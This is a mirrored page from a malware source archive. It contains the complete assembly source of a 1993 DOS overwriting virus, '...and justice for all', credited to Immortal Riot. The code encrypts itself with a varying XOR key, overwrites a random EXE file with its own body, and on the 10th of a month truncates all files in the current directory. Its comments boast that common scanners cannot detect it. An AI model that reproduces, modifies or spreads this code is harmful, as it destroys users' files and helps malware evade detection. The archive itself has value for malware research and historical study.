mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
335 lines
12 KiB
NASM
335 lines
12 KiB
NASM
; Virusname: ...and justice for all
|
||
; Country : Sweden
|
||
; Author : Metal Militia / Immortal Riot
|
||
; Date : 07-29-1993
|
||
|
||
; This is an mutation of 808 virus by Skism in USA.
|
||
; Many thanks to the scratch coder of the 808 virus.
|
||
|
||
; We've tried this virus ourself, and it works just fine.
|
||
; Infects one random EXE-file every run, by overwriting it
|
||
; with the virus-code, and if the file is smaller, will "pad"
|
||
; it out to the size of the virus anyhow.
|
||
;
|
||
; McAfee Scan v105 can't find it, and
|
||
; S&S Toolkit 6.5 don't find it either.
|
||
|
||
; I haven't tried with scanners like Fprot/Tbscan,
|
||
; but they will probably report some virus structure.
|
||
;
|
||
; Best Regards : [Metal Militia]
|
||
; [The Unforgiven]
|
||
|
||
|
||
filename EQU 30 ;used to find file name
|
||
fileattr EQU 21 ;used to find file attributes
|
||
filedate EQU 24 ;used to find file date
|
||
filetime EQU 22 ;used to find file time
|
||
|
||
|
||
|
||
code_start EQU 0100h ;start of all .COM files
|
||
virus_size EQU 808 ;TR 808
|
||
|
||
|
||
code segment 'code'
|
||
assume cs:code,ds:code,es:code
|
||
org code_start
|
||
|
||
main proc near
|
||
|
||
jmp virus_start
|
||
|
||
encrypt_val db 00h
|
||
|
||
virus_start:
|
||
|
||
call encrypt ;encrypt/decrypt file
|
||
jmp virus ;go to start of code
|
||
|
||
encrypt:
|
||
|
||
push ax
|
||
mov bx,offset virus_code ;start encryption at data
|
||
|
||
xor_loop:
|
||
|
||
mov ch,[bx] ;read current byte
|
||
xor cl,encrypt_val ;get encryption key
|
||
mov [bx],ch ;switch bytes
|
||
inc bx ;move bx up a byte
|
||
cmp bx,offset virus_code+virus_size
|
||
;are we done with the encryption
|
||
jle xor_loop ;no? keep going
|
||
pop cx
|
||
ret
|
||
|
||
|
||
infectfile:
|
||
|
||
mov dx,code_start ;where virus starts in memory
|
||
mov bx,handle ;load bx with handle
|
||
push bx ;save handle on stack
|
||
call encrypt ;encrypt file
|
||
pop bx ;get back bx
|
||
mov cx,virus_size ;number of bytes to write
|
||
mov ah,40h ;write to file
|
||
int 21h ;
|
||
push bx
|
||
call encrypt ;fix up the mess
|
||
pop bx
|
||
ret
|
||
|
||
virus_code:
|
||
|
||
wildcards db "*",0 ;search for directory argument
|
||
filespec db "*.EXE",0 ;search for EXE file argument
|
||
filespec2 db "*.*",0 ;search fro all files argument
|
||
rootdir db "\",0 ;argument for root directory
|
||
dirdata db 43 dup (?) ;holds directory DTA
|
||
filedata db 43 dup (?) ;holds files DTA
|
||
diskdtaseg dw ? ;holds disk dta segment
|
||
diskdtaofs dw ? ;holds disk dta offset
|
||
tempofs dw ? ;holds offset
|
||
tempseg dw ? ;holds segment
|
||
drivecode db ? ;holds drive code
|
||
currentdir db 64 dup (?) ;save current directory into this
|
||
handle dw ? ;holds file handle
|
||
orig_time dw ? ;holds file time
|
||
orig_date dw ? ;holds file date
|
||
orig_attr dw ? ;holds file attr
|
||
idbuffer dw 2 dup (?) ;holds virus id
|
||
|
||
virus:
|
||
|
||
mov ax,3000h ;get dos version
|
||
int 21h ;
|
||
cmp al,02h ;is it at least 2.00?
|
||
jb bus1 ;won't infect less than 2.00
|
||
mov ah,2ch ;get time
|
||
int 21h ;
|
||
mov encrypt_val,dl ;save m_seconds to encrypt val so
|
||
;theres 100 mutations possible
|
||
setdta:
|
||
|
||
mov dx,offset dirdata ;offset of where to hold new dta
|
||
mov ah,1ah ;set dta address
|
||
int 21h ;
|
||
|
||
newdir:
|
||
|
||
mov ah,19h ;get drive code
|
||
int 21h ;
|
||
mov dl,al ;save drivecode
|
||
inc dl ;add one to dl, because functions differ
|
||
mov ah,47h ;get current directory
|
||
mov si, offset currentdir ;buffer to save directory in
|
||
int 21h ;
|
||
|
||
mov dx,offset rootdir ;move dx to change to root directory
|
||
mov ah,3bh ;change directory to root
|
||
int 21h ;
|
||
|
||
scandirs:
|
||
|
||
mov cx,13h ;include hidden/ro directorys
|
||
mov dx, offset wildcards ;look for '*'
|
||
mov ah,4eh ;find first file
|
||
int 21h ;
|
||
cmp ax,12h ;no first file?
|
||
jne dirloop ;no dirs found? bail out
|
||
|
||
bus1:
|
||
|
||
jmp bus
|
||
|
||
dirloop:
|
||
|
||
mov ah,4fh ;find next file
|
||
int 21h ;
|
||
cmp ax,12h
|
||
je bus ;no more dirs found, roll out
|
||
|
||
chdir:
|
||
|
||
mov dx,offset dirdata+filename;point dx to fcb - filename
|
||
mov ah,3bh ;change directory
|
||
int 21h ;
|
||
|
||
mov ah,2fh ;get current dta address
|
||
int 21h ;
|
||
mov [diskdtaseg],es ;save old segment
|
||
mov [diskdtaofs],bx ;save old offset
|
||
mov dx,offset filedata ;offset of where to hold new dta
|
||
mov ah,1ah ;set dta address
|
||
int 21h ;
|
||
|
||
scandir:
|
||
|
||
mov cx,07h ;find any attribute
|
||
mov dx,offset filespec ;point dx to "*.COM",0
|
||
mov ah,4eh ;find first file function
|
||
int 21h ;
|
||
cmp ax,12h ;was file found?
|
||
jne transform
|
||
|
||
nextexe:
|
||
|
||
mov ah,4fh ;find next file
|
||
int 21h ;
|
||
cmp ax,12h ;none found
|
||
jne transform ;found see what we can do
|
||
|
||
mov dx,offset rootdir ;move dx to change to root directory
|
||
mov ah,3bh ;change directory to root
|
||
int 21h ;
|
||
mov ah,1ah ;set dta address
|
||
mov ds,[diskdtaseg] ;restore old segment
|
||
mov dx,[diskdtaofs] ;restore old offset
|
||
int 21h ;
|
||
jmp dirloop
|
||
|
||
|
||
bus:
|
||
|
||
jmp rollout
|
||
|
||
transform:
|
||
|
||
mov ah,2fh ;temporally store dta
|
||
int 21h ;
|
||
mov [tempseg],es ;save old segment
|
||
mov [tempofs],bx ;save old offset
|
||
mov dx, offset filedata + filename
|
||
|
||
mov bx,offset filedata ;save file...
|
||
mov ax,[bx]+filedate ;date
|
||
mov orig_date,ax ;
|
||
mov ax,[bx]+filetime ;time
|
||
mov orig_time,ax ; and
|
||
mov ax,[bx]+fileattr ;
|
||
mov ax,4300h
|
||
int 21h
|
||
mov orig_attr,cx
|
||
mov ax,4301h ;change attributes
|
||
xor cx,cx ;clear attributes
|
||
int 21h ;
|
||
mov ax,3d00h ;open file - read
|
||
int 21h ;
|
||
jc fixup ;error - find another file
|
||
mov handle,ax ;save handle
|
||
mov ah,3fh ;read from file
|
||
mov bx,handle ;move handle to bx
|
||
mov cx,02h ;read 2 bytes
|
||
mov dx,offset idbuffer ;save to buffer
|
||
int 21h ;
|
||
|
||
mov ah,3eh ;close file for now
|
||
mov bx,handle ;load bx with handle
|
||
int 21h ;
|
||
|
||
mov bx, idbuffer ;fill bx with id string
|
||
cmp bx,02ebh ;infected?
|
||
jne doit ;same - find another file
|
||
|
||
|
||
fixup:
|
||
mov ah,1ah ;set dta address
|
||
mov ds,[tempseg] ;restore old segment
|
||
mov dx,[tempofs] ;restore old offset
|
||
int 21h ;
|
||
jmp nextexe
|
||
|
||
|
||
doit:
|
||
|
||
mov dx, offset filedata + filename
|
||
mov ax,3d02h ;open file read/write access
|
||
int 21h ;
|
||
mov handle,ax ;save handle
|
||
|
||
call infectfile
|
||
|
||
;mov ax,3eh ;close file
|
||
;int 21h
|
||
|
||
rollout:
|
||
|
||
mov ax,5701h ;restore original
|
||
mov bx,handle ;
|
||
mov cx,orig_time ;time and
|
||
mov dx,orig_date ;date
|
||
int 21h ;
|
||
|
||
mov ax,4301h ;restore original attributes
|
||
mov cx,orig_attr
|
||
mov dx,offset filedata + filename
|
||
int 21h
|
||
;mov bx,handle
|
||
;mov ax,3eh ;close file
|
||
;int 21h
|
||
mov ah,3bh ;try to fix this
|
||
mov dx,offset rootdir ;for speed
|
||
int 21h ;
|
||
mov ah,3bh ;change directory
|
||
mov dx,offset currentdir ;back to original
|
||
int 21h ;
|
||
mov ah,2ah ;check system date
|
||
int 21h ;
|
||
cmp cx,1993 ;is it at least 1993?
|
||
jb audi ;no? don't do it now
|
||
cmp dl,10 ;is it the 10th?
|
||
jne audi ;not yet? quit
|
||
mov dx,offset dirdata ;offset of where to hold new dta
|
||
mov ah,1ah ;set dta address
|
||
int 21h ;
|
||
mov ah,4eh ;find first file
|
||
mov cx,7h ;
|
||
mov dx,offset filespec2 ;offset *.*
|
||
|
||
Loops:
|
||
|
||
int 21h ;
|
||
jc audi ;error? then quit
|
||
mov ax,4301h ;find all normal files
|
||
xor cx,cx ;
|
||
int 21h ;
|
||
mov dx,offset dirdata + filename
|
||
mov ah,3ch ;fuck up all files in current dir
|
||
int 21h ;
|
||
jc audi ;error? quit
|
||
mov ah,4fh ;find next file
|
||
jmp loops ;
|
||
|
||
audi:
|
||
|
||
mov ax,4c00h ;end program
|
||
int 21h ;
|
||
|
||
; Time changes, and so does the text..sorry Skism :)
|
||
; but hey! Isn't this message much fanicer then the old ?
|
||
; Yeah, right, Metal Up Your Ass!
|
||
|
||
words_ db " Metal Militia / Immortal Riot",0
|
||
|
||
words2 db " ...and Justice for all",0
|
||
|
||
words3 db " Justice is lost",0
|
||
db " Justice is raped",0
|
||
db " Justice is gone",0
|
||
db " Pulling your strings",0
|
||
db " Seeking no truth",0
|
||
db " Winning is all",0
|
||
db " Find it so Grim",0
|
||
db " so true",0
|
||
db " so real",0
|
||
|
||
; heh..what a lucky dog I'm, the new virus turned out to be 808 bytes,
|
||
; which means exactly like the old one..(used tlink2 /t).
|
||
|
||
main endp
|
||
code ends
|
||
end main
|
||
|
||
|
||
|